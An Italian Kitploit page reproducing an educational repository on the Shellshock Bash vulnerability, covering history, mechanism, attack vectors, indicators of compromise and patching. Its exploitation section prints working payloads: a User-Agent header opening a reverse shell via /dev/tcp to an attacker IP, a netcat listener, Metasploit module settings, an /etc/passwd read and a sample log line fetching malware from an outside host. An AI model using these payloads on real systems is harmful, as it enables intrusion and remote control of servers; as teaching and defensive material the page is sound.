Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
-CVE-2014-6271 — Repository educativo che descrive la vulnerabilità Shellshock (CVE-2014-6271), compresi analisi tecnica, vettori di attacco, sfruttamento proof-of-concept e misure di mitigazione per l'iniezione di variabili d'ambiente in Bash. | Kitploit
Strumenti/GitHubGitHub/kaleth4/-cve-2014-6271
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlApprendimento e Formazione
GitHubkaleth4/-cve-2014-6271

-CVE-2014-6271

Repository educativo che descrive la vulnerabilità Shellshock (CVE-2014-6271), compresi analisi tecnica, vettori di attacco, sfruttamento proof-of-concept e misure di mitigazione per l'iniezione di variabili d'ambiente in Bash.

Vedi Repository
2 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
root@kitploit:~
 ____  _   _ _____ _     _     ____  _   _  ___   ____ _  __
/ ___|| | | | ____| |   | |   / ___|| | | |/ _ \ / ___| |/ /
\___ \| |_| |  _| | |   | |   \___ \| |_| | | | | |   | ' / 
 ___) |  _  | |___| |___| |___ ___) |  _  | |_| | |___| . \ 
|____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\

CVE-2014-6271 — Shellshock

Esecuzione remota di codice tramite iniezione di variabili d'ambiente in Bash

CVE CVSS Type Bash Status

"Un difetto che è rimasto nascosto in Bash per decenni e ha scosso le fondamenta di Internet in meno di 24 ore."


Indice

  • ¿Qué es Shellshock?
  • Cronologia
  • Sistemi interessati
  • Descrizione tecnica
  • PoC — Prova di concetto
  • Vettori di attacco
  • Sfruttamento completo
  • Indicatori di compromesso
  • Mitigazione
  • Disclaimer

❓ Cos'è Shellshock?

Shellshock (noto anche come Bashdoor) è una famiglia di vulnerabilità critiche nell'interprete di comandi GNU Bash che consente a un attaccante remoto di eseguire comandi arbitrari sul sistema target.

L'errore fondamentale: Bash non interrompeva l'analisi di una variabile d'ambiente al termine della definizione di una funzione. Qualsiasi codice concatenato dopo () { :; }; veniva eseguito automaticamente.

root@kitploit:~
Variabile Env → Definizione di funzione → [QUI ESEGUE CODICE EXTRA] ← BUG

Poiché server web (CGI/Apache), servizi SSH e client DHCP convertono header o parametri in variabili d'ambiente di Bash, la superficie d'attacco era enorme.


📅 Cronologia

root@kitploit:~
12 Set 2014 ──── Stéphane Chazelas scopre il bug e lo segnala a Chet Ramey (manutentore di Bash)
                 Il bug esisteva in Bash da oltre 20 anni.

24 Set 2014 ──── Divulgazione pubblica + pubblicazione della patch (CVE-2014-6271)
                 Ore dopo: botnet attive che scansionano Internet massivamente.

25-30 Set 2014 ── Scoperte vulnerabilità correlate:
                 CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
                 CVE-2014-7186, CVE-2014-7187

Ott 2014 ──────── Milioni di attacchi registrati. Paragonato per gravità a Heartbleed.

💻 Sistemi interessati

ProdottoVersioni vulnerabiliStato
GNU Bash1.0.3 – 4.3Patch applicata
Linux (Debian/Ubuntu/CentOS/RHEL)Versioni pre-Set 2014Patch applicata
Apple macOS / OS X10.10 e precedentiPatch applicata (Security Update 2014-005)
Dispositivi IoT con Bash integratoMoltepliciVaria a seconda del produttore
Server web con CGI su ApacheQualsiasi versione con Bash vulnerabilePatch applicata

🔬 Descrizione tecnica

Il meccanismo del bug

Quando Bash importa una funzione da una variabile d'ambiente, legge fino alla chiusura } della funzione. Nelle versioni vulnerabili, continuava a elaborare il codice successivo invece di fermarsi.

root@kitploit:~
# Variabile d'ambiente malevola:
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'

# Bash vulnerabile all'inizializzazione:
# 1. Legge la definizione di funzione  → OK
# 2. Trova }; → dovrebbe fermarsi
# 3. CONTINUA → esegue /bin/cat /etc/passwd  ← BUG

Flusso dell'attacco via CGI

root@kitploit:~
Attaccante                    Server Apache (CGI)              Bash (vulnerabile)
   │                               │                                │
   │  Richiesta HTTP               │                                │
   │  User-Agent: () { :;}; cmd    │                                │
   │──────────────────────────────▶│                                │
   │                               │  Converte header in env vars  │
   │                               │  HTTP_USER_AGENT=() { :;}; cmd │
   │                               │───────────────────────────────▶│
   │                               │                                │ Esegue cmd
   │                               │                                │ come www-data
   │◀──────────────────────────────│◀───────────────────────────────│
   │  Risposta + output del cmd    │                                │

🧪 PoC — Prova di concetto

Verifica base della vulnerabilità

root@kitploit:~
env x='() { :;}; echo VULNERABILE' bash -c "echo questo è un test"

Risultato su sistema VULNERABILE:

root@kitploit:~
VULNERABILE
questo è un test

Risultato su sistema PATCHATO:

root@kitploit:~
questo è un test

(o un errore di sintassi — non stampa mai "VULNERABILE")


⚔️ Vettori di attacco

1. CGI-BIN (più comune)

I server web che utilizzano script .cgi convertono gli HTTP Header in variabili d'ambiente di Bash.

root@kitploit:~
Header interessati: User-Agent, Referer, Cookie, X-Forwarded-For, e qualsiasi header personalizzato

2. SSH con ForceCommand

root@kitploit:~
# Se il server ha ForceCommand configurato, un attaccante con chiave valida può bypassarlo
ssh user@target '() { :;}; /bin/bash'

3. Client DHCP

Server DHCP malevoli possono iniettare variabili d'ambiente in client che usano Bash per elaborare la risposta DHCP.

4. Variabili d'ambiente dirette

root@kitploit:~
# Qualsiasi processo che erediti variabili d'ambiente ed esegua Bash
env VAR='() { :;}; comando_malevolo' bash -c "script_legittimo"

💀 Sfruttamento completo: Reverse Shell

Passo 1: Listener sulla macchina attaccante

root@kitploit:~
nc -lvnp 4444

Passo 2: Payload della reverse shell

root@kitploit:~
# Payload da iniettare nell'User-Agent
() { :;}; /bin/bash -i >& /dev/tcp/IP_ATTACCANTE/4444 0>&1

Passo 3: Inviare la richiesta malevola

root@kitploit:~
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
     http://sito-vulnerabile.com/cgi-bin/test.cgi

Passo 4: Shell ottenuta

root@kitploit:~
Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)

Modulo Metasploit

root@kitploit:~
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /cgi-bin/test.cgi
set LHOST <your_ip>
run

🔍 Indicatori di compromesso (IOC)

Nei log di Apache/Nginx

root@kitploit:~
# Cercare il pattern caratteristico in access.log
grep -E "\(\)\s*\{" /var/log/apache2/access.log

# Esempio di log malevolo:
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"

Processi sospetti

root@kitploit:~
# Processi figli di www-data/apache che non dovrebbero esistere
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED

Indicatori nel sistema

root@kitploit:~
- Nuovi file eseguibili in /tmp, /var/tmp, /dev/shm
- Connessioni in uscita dal server web verso IP sconosciuti
- Modifica di /etc/crontab o /etc/passwd
- Processi bash in esecuzione come www-data senza terminale

🛡️ Mitigazione

Patch immediata (PRIORITÀ CRITICA)

root@kitploit:~
# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash

# RHEL / CentOS / Fedora
sudo yum update bash

# Verificare la versione patchata (deve mostrare "patches")
bash --version
# GNU bash, version 4.3.30(1)-release → VULNERABILE
# GNU bash, version 4.3.33(1)-release → PATCHATO (varia per distribuzione)

Verifica post-patch

root@kitploit:~
# Deve restituire solo "questo è un test" — MAI "VULNERABILE"
env x='() { :;}; echo VULNERABILE' bash -c "echo questo è un test"

Misure aggiuntive

root@kitploit:~
# 1. Disabilitare CGI se non necessario
a2dismod cgi

# 2. Regola WAF per bloccare il pattern
# In ModSecurity:
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Tentativo Shellshock'"

# 3. Monitoraggio continuo dei log
tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"

⚠️ Disclaimer

Questo repository è esclusivamente per scopi educativi, ricerca in cybersecurity e audit di sicurezza autorizzati. Tutte le informazioni qui presentate sono di dominio pubblico. Eseguire test su sistemi senza autorizzazione esplicita è illegale secondo le leggi della maggior parte delle giurisdizioni. L'autore non si assume alcuna responsabilità per l'uso improprio di queste informazioni.


Scoperto da Stéphane Chazelas · Pubblicato il 24 Settembre 2014

CVSS Score: 10.0 (Critical) → Successivamente aggiustato a 9.8 in CVSSv3

Scarica lo strumento